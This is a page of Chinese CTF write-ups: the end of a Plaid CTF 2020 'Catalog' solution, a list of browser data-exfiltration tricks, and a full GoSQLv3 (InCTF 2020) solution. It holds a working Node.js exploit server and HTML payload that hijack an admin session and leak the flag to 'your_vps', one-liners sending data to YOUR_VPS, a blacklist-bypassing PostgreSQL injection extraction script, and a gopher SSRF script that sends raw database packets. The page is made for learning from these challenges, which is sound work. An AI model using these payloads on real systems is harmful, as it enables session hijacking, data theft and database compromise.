http://catalog.pwni.ng/issue.php?id=3#:~:text=T-,F,{,-}&text=T-,F,{,-0&text=T-,F,{,-1&text=T-,F,{,-2&text=T-,F,{,-3&text=T-,F,{,-4&text=T-,F,{,-5&text=T-,F,{,-6&text=T-,F,{,-7&text=T-,F,{,-8&text=T-,F,{,-9&text=T-,F,{,-A&text=T-,F,{,-B&text=T-,F,{,-D&text=T-,F,{,-E&text=T-,F,{,-F&text=T-,F,{,-G&text=T-,F,{,-H
若匹配成功，则在该部分继续二分，若匹配失败，则用另一个范围二分，直到匹配只剩一个字符便是flag
## 复现 & exp
上面已经分析完这道题所需要的技术和知识了，现在只需将上述过程利用exp来实现，其实原理还是好理解，但是exp就有点糊:)
这里先给出exp:
1. **exp.js**
在自己的vps上用node运行
const express = require("express");
const app = express();
let status = false;
let unlock = false;
let match = false;
app.get("/status", (req, res) => {
res.send(`${status}`);
});
app.get("/unlock", (req, res) => {
unlock = true;
res.send("unlock");
});
app.get("/firstload", (req, res) => {
console.log("==> Admin opened challenge's page");
res.send("firstload");
});
app.get("/", (req, res) => {
console.log("==> Admin was redirected to attacker's page");
res.sendFile("index.html", {
root: __dirname
});
});
app.get("/injection", (req, res) => {
console.log("==> HTML injection was inserted into id=3 catalog");
setTimeout(() => {
if (match) console.log("==> There was a match");
else console.log("==> There wasn't a match");
match = false;
unlock = false;
status = false;
}, 1000);
res.send("injection");
});
app.get("/exfiltrated", (req, res) => {
match = true;
res.send("exfiltrated");
});
app.get("/fragment", (req, res) => {
status = true;
console.log("==> Admin was fragmented");
let timer = setInterval(async () => {
if (unlock) {
res.send("fragment");
clearInterval(timer);
}
}, 1);
});
app.listen(port);
console.log("Server running on port: " + port);
1. **index.html**
根目录存放的index.html文件，当访问`http://your_vps/`时会加载
<html>
<head>
<title>exp</title>
<script>
const next = async () => {
let res = await fetch("/status");
let status = await res.text();
if (status === "true") {
await fetch("http://catalog.pwni.ng/user.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"body": `username="/><img src="http://your_vps/injection"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><div align="left"><img src="http://your_vps/exfiltrated" loading="lazy"></div><em>&password=1&action=login`,
"method": "POST",
"mode": "no-cors",
"credentials": "include"
});
await fetch("/unlock");
} else {
next();
}
}
next();
</script>
</head>
<body>
<iframe src="http://catalog.pwni.ng/issue.php?id=issue1" style="position: absolute; width: 400%; height: 500px; border: 0"></iframe>
</body>
</html>
然后我们分析一下exp和整个攻击链的工作流程：(前提注册账号等工作已经完成)
1. **创建issue1，抓包改post内容为**
id=issue1&title=3&content=1&image=z"/><img src="http://your_vps/fragment"><meta http-equiv="refresh"+content="0;URL='http://catalog.pwni.ng/issue.php?id=3#:~:text=T-,F,{,-}%26text=T-,F,{,-0%26text=T-,F,{,-1%26text=T-,F,{,-2%26text=T-,F,{,-3%26text=T-,F,{,-4%26text=T-,F,{,-5%26text=T-,F,{,-6%26text=T-,F,{,-7%26text=T-,F,{,-8%26text=T-,F,{,-9%26text=T-,F,{,-A%26text=T-,F,{,-B%26text=T-,F,{,-D%26text=T-,F,{,-E%26text=T-,F,{,-F%26text=T-,F,{,-G%26text=T-,F,{,-H%26text=T-,F,{,-I%26text=T-,F,{,-J%26text=T-,F,{,-K%26text=T-,F,{,-L%26text=T-,F,{,-M%26text=T-,F,{,-N%26text=T-,F,{,-O%26text=T-,F,{,-P%26text=T-,F,{,-Q%26text=T-,F,{,-R%26text=T-,F,{,-S%26text=T-,F,{,-T%26text=T-,F,{,-U%26text=T-,F,{,-V%26text=T-,F,{,-W%26text=T-,F,{,-X%26text=T-,F,{,-Y%26text=T-,F,{,-Z%26text=T-,F,{,-_'">
这里利用的是img url处的注入，注入的内容利用meta跳转、Text Fragments来发送请求爆破flag
> **flag所在页面是`http://catalog.pwni.ng/issue.php?id=3`**
2. **创建issue2，抓包改内容为**
id=issue_id_2&title=3&content=1&image="><meta http-equiv="refresh" content="0;URL='http://your_vps/'">"
issue2是攻击链的起点，提交给admin bot访问
3.vps上起服务：`node exp.js`
4.提交issue2所在页面(`http://catalog.pwni.ng/issue.php?id=3`)给admin访问，由于存在meta跳转，会跳转到vps上的index.html
5.index.html中的iframe会请求issue1所在页面，并通过AJAX发送请求给`http://your_vps/status`，由于exp.js中会返回`status`为false并完成`let
status = await res.text();`赋值，而页面存在`if (status ===
"true")`，因此将进入else分支，不断执行next()异步函数，也就不断从服务端获取status，只有当`status ===
"true"`时，才能进入if
6. **当iframe加载完毕后** ，由于issue1中存在`<img src="http://your_vps/fragment">`，故请求`/fragment`路由
app.get("/fragment", (req, res) => {
status = true;
console.log("==> Admin was fragmented");
let timer = setInterval(async () => {
if (unlock) {
res.send("fragment");
clearInterval(timer);
}
}, 1);
});
其中设置了`status =
true;`，此时返回的status满足页面的if条件，因此`/fragement`路由的作用就是来解status锁，并且设置另一个fragment锁，该fragment锁由于`setInterval`重复事件会阻碍meta跳转，需等待unlock参数来接触。此时表示
**iframe已开始加载issue1的内容但还未进行meta跳转**
7.进入if后，并`fetch`请求`http://catalog.pwni.ng/user.php`，由于此时是admin身份的session，而username参数不是admin，发送请求导致登录失败，因此admin的session存储的html元素会变成登录失败的html元素，也就注入了`"/><img
src="http://your_vps/injection">...`这一部分内容进入admin的session中
8.下一步执行`await fetch("/unlock");`，明显这个路由是解fragment锁的，此时表示
**issue1页面全部加载且可以meta跳转到包含flag和text fragments功能的界面**
9.meta跳转用的是admin session，而第7步已经将admin
session变为注入的内容。从这里我们可以知道fragment锁的作用就是等待admin
session注入后由meta跳转携带注入内容到flag所在页面。一加载完flag所在页面后，先会`<img
src="http://your_vps/injection">`请求injection路由：
app.get("/injection", (req, res) => {
console.log("==> HTML injection was inserted into id=3 catalog");
setTimeout(() => {
if (match) console.log("==> There was a match");
else console.log("==> There wasn't a match");
match = false;
unlock = false;
status = false;
}, 1000);
res.send("injection");
});
此时设置`1000`即1s的延迟，为了等待Text Fragments来匹配flag
10.由于注入足够多的`<br>`标签，会将flag挤出视窗外，并且uBlock维持了User Activation从而可激发Text
Fragments功能，进行flag匹配，如果匹配到flag，就会触发滚动，由于图片懒加载机制，此时才会请求`/exfiltrated`路由
app.get("/exfiltrated", (req, res) => {
match = true;
res.send("exfiltrated");
});
设置了match为true，因此在injection路由中会输出`==> There was a match`判断回显，否则，match默认为false
这整个流程完成一次只能完成一次二分，因此工作量还是蛮大的，如果flag的位数很长的话，要重复上述流程很多次。所以这道题的复现难度还是很大的，但是原理理解清楚的话也基本上完成了学习的目的了。
**参考**
[Plaid CTF 2020 Catalog](http://blog.zeddyu.info/2020/04/24/Plaid-CTF-2020-Web-2/)
[官方wp](https://dttw.tech/posts/B19RXWzYL)
# 总结
## 思考点
通过四道题学习侧信道，发现国外ctf(除noxss)的题目很喜欢出一些跟xss和前端有关的题目，涉及的技术有点偏前端、侧信道以及浏览器的一些新特性，而且攻击链的构造比较复杂。稍微总结一下有关侧信道题目的思考点：
1. **如何外带flag或盲注flag并完成判断回显。**
通常需要借助一些匹配特性( **上文的XSS Auditor、连字、Text Fragments**
)来盲注flag，对于回显判断，则需要有回显信息到自己的vps中( **日志或用于判断的Nodejs服务**
)，而信息的来源则需要在匹配到flag时发送请求( **iframe的二次onload、连字的滚动条、滚动条+图片懒加载** )
1. **如何获取可以利用的特性**
这个就比较玄学了，可能大部分师傅不是因为能力原因，而是因为特性难找而没做出来，仅根据上文特性的出处稍微总结一下
* [chrome各版本特性](https://chromestatus.com/features)
* [PortSwigger](https://portswigger.net/daily-swig)：研究web前端安全比较多的一个站点
## 浏览器对外发送请求的方法
要想外带数据，基本需要以admin的身份通过浏览器对外发送数据从而获取flag
1.`<iframe>`的`iframe.src`配合`iframe.onload`
35C3 CTF filemanager这道题的方法，改变iframe.src触发iframe.onload请求src所指向的url
iframe.onload = () => {}; //发送请求外带数据
iframe.src = 'http://YOUR_VPS:PORT/?flag=' + encodeURIComponent(real_flag); # 外带数据
2.iframe框架载入资源 + CSS设置`-webkit-scrollbar`滚动条触发请求
<style>
body::-webkit-scrollbar:horizontal{
display: block;
backgroud: bule url("http://YOUR_VPS:PORT");
}
</style>
3.用户视窗外的 **图片懒加载机制** 发送请求
`<img src>`本身就可发送请求，只不过结合了图片的懒加载机制配合爆破flag
<img src='http://YOUR_VPS/' loading=lazy>
4.`<meta http-equiv="Refresh" content="0;URL='http://YOUR_VPS/'">`
http-equiv属性会在发送给浏览器的http请求头中添加名值对(http-equiv/content)字段信息，上述语句的作用是刷新文档后0秒请求URL内的资源。
5.`window.location.href` ==`document.location.href` == `location.href`
最基本的窃取cookie的方式 | 社区文章 |
## 长文慎读
在本文中，我将分享在[teambi0s](https://twitter.com/teambi0s)'s
[InCTF](https://ctftime.org/ctf/31)
的GoSQLv3挑战中所面临的问题以及是如何解决的，我还将分享所有'无效'的技巧和测试，我认为这与实际的解决方案一样重要，因为它们可以在其他情况下起到作用。
如果您认为有任何问题，请随时通过[Twitter](https://twitter.com/jorge_ctf)或[Telegram](https://t.me/jorgectf)与我联系。让我们开始吧！
## GoSQLv3
这项挑战基于PostgreSQL注入，该注入以（非常噩梦的）黑名单为条件，其后是SSRF，允许我们向数据库引擎发出Gopher请求。
## SQL注入
挑战代码：
<?php
include("./config.php");
$db_connection = pg_connect($host. $dbname .$user. $pass);
if (!$db_connection) {
die("Connection failed");
}
$name = $_GET['name'];
$column = $_GET['column'];
$blacklist = "adm|min|\'|substr|mid|concat|chr|ord|ascii|left|right|for| |from|where|having|trim|pos|";
$blacklist .= "insert|usern|ame|-|\/|go_to|or|and|#|\.|>|<|~|!|like|between|reg|rep|load|file|glob|cast|out|0b|\*|pg|con|%|to|";
$blacklist .= "rev|0x|limit|decode|conv|hex|in|from|\^|union|select|sleep|if|coalesce|max|proc|exp|group|rand|floor";
if (preg_match("/$blacklist/i", $name)){
die("Try Hard");
}
if (preg_match("/$blacklist/i", $column)){
die("Try Hard");
}
$query = "select " . $column . " from inctf2020 where username = " . $name ;
$ret = pg_query($db_connection, $query);
if($ret){
while($row = pg_fetch_array($ret)){
if($row['username']=="admin"){
header("Location:{$row['go_to']}");
}
else{
echo "<h4>You are not admin " . "</h4>";
}
}
}else{
echo "<h4>Having a query problem" . "</h4><br>";
}
highlight_file(__FILE__);
?>
如代码所示，该PHP代码使用config.php来连接数据库，请求参数name和columns使用定义的$blacklist来过滤，最后执行查询，页面将跳转到下一页。
让我们从查询的第一个变量column开始，为了更好的测试我将使用真实环境的PostgreSQL数据引擎，另外一个很好的选择是[这里](https://sqliteonline.com/)
## column
据我所知，在PostgreSQL查询中有两种方式申明列名，第一种是使用大家公认的方法（列名没有被双引号包裹），而另一种是PostgresSQL独有的（列名被双引号包裹）
没有双引号示例如下：
testdb=# SELECT testcolumn;
ERROR: column "testcolumn" does not exist
有双引号示例如下：
testdb=# SELECT "testcolumn";
ERROR: column "testcolumn" does not exist
以下细节是关键，因为我们将把列名定义为UTF-16编码。根据PostgreSQL的[官方文档](https://www.postgresql.org/docs/9.2/sql-syntax-lexical.html#SQL-SYNTAX-STRINGS-UESCAPE)有如下语法（[在线编码转换网站](https://www.branah.com/unicode-converter)）
test -> \u0074\u0065\u0073\u0074 -> U&'\0074\0065\0073\0074'
运行结果如下：
testdb=# SELECT U&'\0074\0065\0073\0074';
?column?
---------- test
(1 row)`
因此，如果一切正常，为什么数据库返回一个字符串而不是列名？这就是为什么双引号这个“东西”是关键的原因。
testdb=# SELECT U&\0074\0065\0073\0074;
invalid command \0074
testdb=# SELECT U&'\0074\0065\0073\0074';
?column?
---------- test
(1 row)
testdb=# SELECT U&"\0074\0065\0073\0074";
ERROR: column "test" does not exist
最好的总结就是：在SELECT语句后面，没有双引号包裹或者有被双引号包裹的字符串代表列名，而被单引号包裹的字符串总是代表字符串。
有了上述信息，我们可以创建第一部分的查询语句：
testdb=# SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f";
ERROR: column "username" does not exist
但这并没有多大用处，因为我们没有足够的信息来验证我们的payload会成功，因此让我们创建一个简单的表并包含那个列。
testdb=# CREATE TABLE inctf2020 (id int, username text, go_to text);
CREATE TABLE
因为我们知道数据库中一个存在的值，最好也插入这个值
testdb=# INSERT INTO inctf2020 VALUES (1, 'admin', 'secret_place');
INSERT 0 1
testdb=# SELECT * FROM inctf2020;
id | username | go_to
----+----------+-------------- 1 | admin | secret_place
(1 row)
现在我们继续测试payload
testdb=# SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f" FROM inctf2020;
username | go_to
----------+-------------- admin | secret_place
(1 row)
成功了，我们成功的从指定的UTF-16编码的列名中查询到了所有的东西。
不幸的是，由于这是我在参加AWAE之前研究的字符限制绕过技术之一，因此我很快就完成了注入的这一部分，因此这里没有多余的技巧/尝试。
## name
因为在目标列名的查询中返回了'admin',因此这个阶段的目标是'写admin'， 看起来就像手写’admin'一样容易，但是恶魔般的黑名单又出现了。
$blacklist = "adm|min|\'|...
这是在检查字符串是否包含' adm '，' min
'和'。由于我们在这里没有太多选择，所以我通常参考[String函数文档](https://www.postgresql.org/docs/9.1/functions-string.html)，并开始寻找可以帮助我们构建这样的字符串的方法。
## 双$字符串
在寻找函数连接'admin'之前，我们需要找到一种方法不带单引号来声明字符串。应该很容易，不是吗？
testdb=# SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f" FROM inctf2020 WHERE username = "admin";
ERROR: column "admin" does not exist
testdb=# SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f" FROM inctf2020 WHERE username = admin;
ERROR: column "admin" does not exist
正如我们之前所看到的，声明字符串的唯一方法是用单引号包围它们。那么我们该如何声明呢？显然，根据[Postgres文档](https://www.postgresql.org/docs/8.1/sql-syntax.html#4.1.2.2.%20Dollar-Quoted%20String%20Constants)，可以使用双美元符号
($)将字符串括起来.
testdb=# SELECT 'test';
?column?
---------- test
(1 row)
testdb=# SELECT $$test$$;
?column?
---------- test
(1 row)
因此，我们现在准备找到一个函数来连接字符串' admin '。
## LPAD功能
通过此功能，我们可以按字面意思“ 使用指定的字符来填充字符串至长度等于length。如果字符串已经长于length，那么它将被截断（在右侧）。”
testdb=# SELECT LPAD('world', 10, 'hello');
lpad
------------ helloworld
(1 row)
这就是我们连接“ admin ”的每个字符所需要的一切。（并不严格要求连接每个字符，但最好进行练习，以防我们再次需要它）
这就是我们最终得到的：
testdb=# SELECT LPAD('n', 5, LPAD('i', 4, LPAD('m', 3, LPAD('d', 2, LPAD('a', 1, '')))));
------- admin
(1 row)
好了！现在查询将返回我们想要的内容。
## '||' 字符连接
但是，在Postgres中是否没有另一种（更容易的）串联字符串的方法？是的（戳[这里](https://stackoverflow.com/questions/35797709/why-is-used-as-string-concatenation-in-postgresql-redshift)）。但是，我们将再次使用之前的一种技术。
$ python3 -c 'print("||".join("$$"+i+"$$" for i in "admin"))'
$$a$$||$$d$$||$$m$$||$$i$$||$$n$$
testdb=# SELECT $$a$$||$$d$$||$$m$$||$$i$$||$$n$$;
?column?
---------- admin
(1 row)
## 获取secret的位置
让我们提交查询以获取下一个阶段的URL。
$ curl -I 'http://MIRROR/?column=U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f"&name=$$a$$||$$d$$||$$m$$||$$i$$||$$n$$'
HTTP/1.1 200 OK
Date: Sun, 02 Aug 2020 18:11:43 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Type: text/html; charset=UTF-8
嗯，看来我们缺少了某些东西……或者实际上没有。后端采用了两个以上的$_GET参数，因为＆符号没有经过URL编码，将代表新的GET参数，对&进行URL编码如下。
& -> (URL 编码) -> %26
$ curl -I 'http://MIRROR/?column=U%26"\0075\0073\0065\0072\006e\0061\006d\0065",U%26"\0067\006f\005f\0074\006f"&name=$$a$$||$$d$$||$$m$$||$$i$$||$$n$$'
HTTP/1.1 302 Found
Date: Sun, 02 Aug 2020 18:14:03 GMT
Server: Apache/2.4.18 (Ubuntu)
Location: ./feel_the_gosql_series.php
Content-Type: text/html; charset=UTF-8
好了！我们要跟随的连链接是feel_the_gosql_series.php。
## SSRF 方法
我们面对着一个输入框，其内容将用cURL执行。在枚举输入允许的协议之前，让我们看看是否可以注入什么东西。
## 代码注入（失败）
如果后端未使用[escapeshellarg()](https://www.php.net/manual/en/function.escapeshellarg.php)函数，则可以通过转义提供的引号或仅执行来注入代码$(command
here)。为了正确地测试它，需要一个公共且可访问的IP地址，但是，有一个名为[ngrok](https://ngrok.com/)的工具，它允许我们将localhost开放到由它们分配的域名下。有一个关于它是如何工作的更详细的文章在[这里](https://0xdf.gitlab.io/2020/05/12/ngrok-ftw.html)。
我们可以尝试类似的方法：
NGROK-TUNNEL/$(id)
NGROK-TUNNEL/'$(id)
NGROK-TUNNEL/"$(id)
NGROK-TUNNEL/"'$(id)
但是并不会起作用，因为它实际上是在使用刚才提到的[函数](http://micmap.org/php-by-example/en/function/escapeshellarg)
## 枚举可用的协议
根据[curl的手册页](https://www.mit.edu/afs.new/sipb/user/ssen/src/curl-7.11.1/docs/curl.html)，其支持的协议为HTTP,
HTTPS, FTP, FTPS, GOPHER, DICT, TELNET, LDAP or FILE，因此让我们看看其中实际上允许哪些协议。
### 寻找一种布尔方式来枚举它们
为了正确地找出其中哪些是允许的，仅通过发送file://，就会出现一条不同的消息（Can't you solve, without using
it!!!），因此现在我们可以测试该词典了。（时间不长，因此手动也可以）
protos="http https ftp ftps gopher dict telnet ldap file"; for proto in $protos; do echo $proto; curl 'http://MIRROR/feel_the_gosql_series.php' -d "url=$proto://"; echo;done
不会引发任何错误的协议是HTTP（S），GOPHER和TELNET。如果这是使用的是eval或是类似的方法处理查询的响应时，则可以使用除Gopher之外的任何方式注入PHP代码，但是我们唯一能做的就是客户端注入（HTML
/ JS），这没什么价值。
### 验证Gopher能否使用（并且数据库是否使用的常规端口）
要在客户端验证gopher是否有效，就像查询是否挂起一样简单。
本地验证：
（hung状态->waiting for more packets）
A> nc -lnvp 99
listening on [any] 99 ...
B> curl gopher://127.0.0.1:99
A> connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 42446
# (waiting for more packets)
（非hung状态->连接被拒绝，也就是未打开端口）
$ curl gopher://127.0.0.1:81
curl: (7) Failed to connect to 127.0.0.1 port 81: Connection refused
在挑战中，端口5432（PostgreSQL）是hung状态。
**关于什么是('gopher://')?**
简而言之，gopher它能够按照特定语法发送以URL硬编码的TCP数据包。这使我们可以与后端运行的任何服务进行通信，例如我们刚刚用于获取securl
URL的Postgres数据库。（[更多 信息](https://hackerone.com/reports/115748)）
关于过去的GoSQLvX挑战，我们现在应该通过此协议向数据库发出请求。有一个已经创建的名为[Gopherus](https://github.com/tarunkant/Gopherus)的工具，它的创建者也是这个挑战，它的模块之一是为PostgreSQL制作的。但是，在挑战之时，他尚未提交更新，因此我们需要自己写“插件”！
### PostgreSQL Gopher漏洞利用…但还不是时候
要使查询成功，用户名和数据库名必须知道！
## 返回SQL注入
请记住，我们使用此查询来获取secret的链接。
http://MIRROR/?column=U%26"\0075\0073\0065\0072\006e\0061\006d\0065",U%26"\0067\006f\005f\0074\006f"&name=$$a$$||$$d$$||$$m$$||$$i$$||$$n$$
接下来，我将使用实际查询作为参考，以便我们更好地理解它。
SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f" FROM inctf2020 WHERE name = $$a$$||$$d$$||$$m$$||$$i$$||$$n$$
我们如何检索用户名和数据库名称？首先，让我们看看如何以常规的方式获取它们。（我经常参考的[备忘单](https://wiki.devploit.dev/web/attacks/sqli/postgresql/queries_cheatsheet)）
* 用户检索
testdb=# SELECT USER;
user
---------- postgres
(1 row)
* 数据库名称检索
testdb=# SELECT current_database();
current_database
------------------ testdb
(1 row)
## 布尔数据检索
实际上，我们要获取用户名和数据库名，必须找到一种方法同我们提供的字符串进行比较，然后知道该比较的结果是TRUE还是FALSE。
为了完成上述需求，我们将用'a'来填充'admin'
字符串N次，N是比较结果的长度。（当比较结果为FALSE时结果为'admin'，当比较结果为TRUE时结果为'admi')
* 使用LPAD（没错，又是它，但是现在的目标是减少传递的字符串）
testdb=# SELECT LPAD('123456', 3, '');
lpad
------ 123
(1 row)
* VARCHAR（X）强制转换
testdb=# SELECT '123456'::VARCHAR(3);
varchar
--------- 123
(1 row)
在撰写本文时，我想到这样做也可以完成我们想要的工作。
testdb=# SELECT ($$a$$||$$d$$||$$m$$||$$i$$||$$n$$)::VARCHAR(3);
varchar
--------- adm
(1 row)
* 布尔词简化
由于'admin'和false是的一样的长度，使用LPAD 'admin'
N次''。N是FALSE的长度,'admin'不会被改变。但是，如果比较结果为TRUE，就会变成'admi'，因为TRUE的长度是4。
testdb=# SELECT LENGTH((1=2)::TEXT);
length
-------- 5
(1 row)
testdb=# SELECT LENGTH((1=1)::TEXT);
length
-------- 4
(1 row)
testdb=# SELECT LPAD('admin' ,LENGTH((1=1)::TEXT), '');
lpad
------ admi
(1 row)
testdb=# SELECT LPAD('admin' ,LENGTH((1=2)::TEXT), '');
lpad
------- admin
(1 row)
* 基于变量简化的布尔词简化
以前的比较也可以用于数据库变量。
testdb=# SELECT LPAD('admin' ,LENGTH((USER='randomuser')::TEXT), '');
lpad
------- admin
(1 row)
testdb=# SELECT LPAD('admin' ,LENGTH((USER='postgres')::TEXT), '');
lpad
------ admi
(1 row)
但是，暴力破解可能要花费我们几年的时间，而CTF持续2天！因此，让我们看看是否可以找到类似与普通 **LIKE '{char}%'** 技术的方法。
testdb=# SELECT LPAD('admin' ,LENGTH((USER::VARCHAR(1)='a')::TEXT), '');
lpad
------- admin
(1 row)
testdb=# SELECT LPAD('admin' ,LENGTH((USER::VARCHAR(1)='p')::TEXT), '');
lpad
------ admi
(1 row)
* 最终“name”的payload
'lpad($$a$$||$$d$$||$$m$$||$$i$$||$$n$$,LENGTH((%s::VARCHAR(%s)=%s)::TEXT),$$a$$)' % (parameter_to_exfiltrate, offset, extracted_data+current_char)
注意最后一个$$a$$。禁止使用单引号，尽管$$$$应该没问题，但我更喜欢留下一个随机字母以确保我不会弄乱查询。
例：
'lpad($$a$$||$$d$$||$$m$$||$$i$$||$$n$$,LENGTH((USER::VARCHAR(5)=ABCDE)::TEXT),$$a$$)'
这次，如果USER值的前5个字符为ABCDE，则为(USER::VARCHAR(5)=ABCDE)TRUE，LENGTH((USER::VARCHAR(5)=ABCDE)::TEXT)为4，lpad($$a$$||$$d$$||$$m$$||$$i$$||$$n$$,LENGTH((USER::VARCHAR(5)=ABCDE)::TEXT),$$a$$)并返回'admi'。
## 问题
该查询非常有趣，可以帮助我们检索变量/返回函数值，但是如果值包含禁止的字符怎么办？在这种情况下，此查询无用。
* 避免多个字符限制
多亏了“ ||” 字符级联，我们可以绕过所有长度大于1的黑名单字段。
存在USER test和存在'st' 被黑名单，下面的语句将起作用。
$ python3 -c 'print("||".join("$$"+i+"$$" for i in "test"))'
$$t$$||$$e$$||$$s$$||$$t$$
testdb=# SELECT LPAD('admin' ,LENGTH((USER::VARCHAR(4)=$$t$$||$$e$$||$$s$$||$$t$$)::TEXT), $$$$);
lpad
------ admi
(1 row)
但是，如果被禁止的字符为'e'，我们将无能为力，因为它总是必须存在。
## 注入变化
经过大量的努力我更乐于接受另一个“更轻松”的挑战（嗯，也许我不想那么麻烦），我想到了split_part函数。它几乎与python的split函数相同，允许你设置“想要”分割的部分。
### 它是做什么用的
testdb=# SELECT split_part('12345', '3', 1);
split_part
------------ 12
(1 row)
### （一种）使用场景
testdb=# SELECT split_part(USER, 'p', 2);
split_part
------------ ostgres
(1 row)
testdb=# SELECT split_part(USER, USER::VARCHAR(1), 2);
split_part
------------ ostgres
(1 row)
testdb=# SELECT split_part(USER, USER::VARCHAR(1), 2)::VARCHAR(1);
split_part
------------ o
(1 row)
这样，变量可被一个字符一个字符的提取出来（第一个字符除外）。
## 资料检索
由于我一直热衷于在遇到的挑战中实现一切自动化，因此我最终使用了以下脚本：
# -*- coding: utf-8 -*-
import requests
from string import ascii_letters, digits
import base64
url = "http://MIRROR"
#to_exfil = "USER"
#to_exfil = "version()"
to_exfil = "current_database()"
extracted = ""
offset = 1
while True:
for char in ascii_letters + digits + "@{}()\"=[]:;+":
params = {
'column': r'U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f"',
'name': 'lpad($$a$$||$$d$$||$$m$$||$$i$$||$$n$$,LENGTH((split_part(%s,%s::VARCHAR(%s),2)::VARCHAR(1)=$$%s$$)::TEXT),$$a$$)' % (to_exfil, to_exfil, offset, char)
}
req = requests.get(url, params=params, allow_redirects=False)
#print(params)
#print(req.headers, extracted)
if not 'Location' in req.headers:
if req.text == "Try Hard":
continue
else:
extracted += char
offset += 1
print(extracted)
break
else:
if extracted[-5::] == '?'*5:
print(f"EXTRACTED {to_exfil}: {extracted[:-5]}")
break
extracted += "?"
offset += 1
# USER = oneysingh (honeysingh)
# version() = (P)ostgreSQL?9?5?21?on?x86?64?pc?linux?gnu??compiled?by?gcc?(Ubuntu?5?4?0?6ubuntu1?16?04?12)?5?4?0?20160609??64?bit
# current_database() = osqlv3 (gosqlv3)
为什么使用"?"，因为我需要完整的version()。
## 回到SSRF
现在我们知道了用户名和数据库，就可以构建环境了。为了不将gopher数据包弄得太乱，我最终创建了相同的用户和数据库（我对数据包的结构，语法也不太感兴趣……我将其作为长久的主题）。
通过发送此命令，我们将生成所需的流量以进行查询，而我们只需要更改命令（及其长度）即可。
psql -h 127.0.0.1 -U honeysingh -d "dbname=gosqlv3 sslmode=disable" -c "SELECT 1;"
注意sslmode=disable标志，不要通过TLS发送数据包。
这是我们必须在脚本中使用的Startup message（aka auth）,将其复制为Hex放到我们的脚本里。
简单的query也需要上述操作，但其长度是查询的关键
最后Termination也同样需要
## 一起来完成
import binascii
import requests
def encode(s):
a = [s[i:i + 2] for i in range(0, len(s), 2)]
return "gopher://127.0.0.1:5432/_%" + "%".join(a)
url = "http://MIRROR/feel_the_gosql_series.php"
while True:
query = input("SQL> ") # MÁX 122 CHARS
if len(query) > 122:
print("Máx 122 chars")
continue
query_hex = binascii.hexlify(query.encode()).decode()
query_hex_packet = query_hex + "00"
query_len = len(query) + 5
query_len_packet = binascii.hexlify(chr(query_len).encode()).decode()
# Startup
test = "00000055000300007573657200686f6e657973696e676800646174616261736500676f73716c7633006170706c69636174696f6e5f6e616d65007073716c00636c69656e745f656e636f64696e6700555446380000"
# Query
test += f"51000000{query_len_packet}{query_hex_packet}"
# Termination
test += "5800000004"
to_send = encode(test)
req = requests.post(url, data={'url': to_send})
print(req.text)
* 编码函数取自Gopherus的MySQL漏洞利用，并且每个两个十六进制字符都用％包围。
* query_len是查询的实际长度+ 5，数据包值必须是query_len的十六进制值。
* 122个字符的限制与query_len急剧变化有关。
## 通过非常规方法找到flag
通过列出权限列表，我发现了一个我能使用的已经存在的表名cmd_exe。
SQL> SELECT grantee,table_catalog,table_schema,table_name,privilege_type FROM information_schema.role_table_grants
<!DOCTYPE html>
<html>
<head><title>SomeTimes hard chall is good</title></head>
<body>
<h2>Welcome Back!!! admin !!!</h2>
<h3>You have one functionality that you can cURL</h3>
<form method=POST>
put url : <input type="text" name="url">
<button type="submit">GO</button>
</form>
</body>
</html>
S→application_namepsqlS↓client_encodingUTF8S↨DateStyleISO, MDYS↓integer_datetimesonSntervalStylepostgresS§is_superuseroffS↓server_encodingUTF8S→server_version9.5.21S%session_authorizationhoneysinghS#standard_conforming_stringsonS§TimeZoneEtc/UTCK♀♠=‼f�)Z♣IT�♣grantee/�☻♦‼������table_catalog/�♥♦‼������table_schema/�♦♦‼������table_name/�♣♦‼������privilege_type/�♠♦‼������D<♣
honeysinghgosqlv3♠public♣eeeee♠INSERTD<♣
honeysinghgosqlv3♠public♣eeeee♠SELECTD<♣
honeysinghgosqlv3♠public♣eeeee♠UPDATED<♣
honeysinghgosqlv3♠public♣eeeee♠DELETED>♣
honeysinghgosqlv3♠public♣eeeeTRUNCATED@♣
honeysinghgosqlv3♠public♣eeeee
REFERENCESD=♣
honeysinghgosqlv3♠public♣eeeeeTRIGGERD?♣
honeysinghgosqlv3♠publifooooooo♠INSERTD?♣
honeysinghgosqlv3♠publifooooooo♠SELECTD?♣
honeysinghgosqlv3♠publifooooooo♠UPDATED?♣
honeysinghgosqlv3♠publifooooooo♠DELETEDA♣
honeysinghgosqlv3♠publifooooooTRUNCATEDC♣
honeysinghgosqlv3♠publifooooooo
REFERENCESD@♣
honeysinghgosqlv3♠publifoooooooTRIGGERD<♣
honeysinghgosqlv3♠public♣ddddd♠INSERTD<♣
honeysinghgosqlv3♠public♣ddddd♠SELECTD<♣
honeysinghgosqlv3♠public♣ddddd♠UPDATED<♣
honeysinghgosqlv3♠public♣ddddd♠DELETED>♣
honeysinghgosqlv3♠public♣ddddTRUNCATED@♣
honeysinghgosqlv3♠public♣ddddd
REFERENCESD=♣
honeysinghgosqlv3♠public♣dddddTRIGGERD:♣♣inctfgosqlv3♠publicmd_exec♠INSERTD:♣♣inctfgosqlv3♠publicmd_exec♠SELECTD:♣♣inctfgosqlv3♠publicmd_exec♠UPDATED:♣♣inctfgosqlv3♠publicmd_exec♠DELETED<♣♣inctfgosqlv3♠publicmd_exeTRUNCATED>♣♣inctfgosqlv3♠publicmd_exec
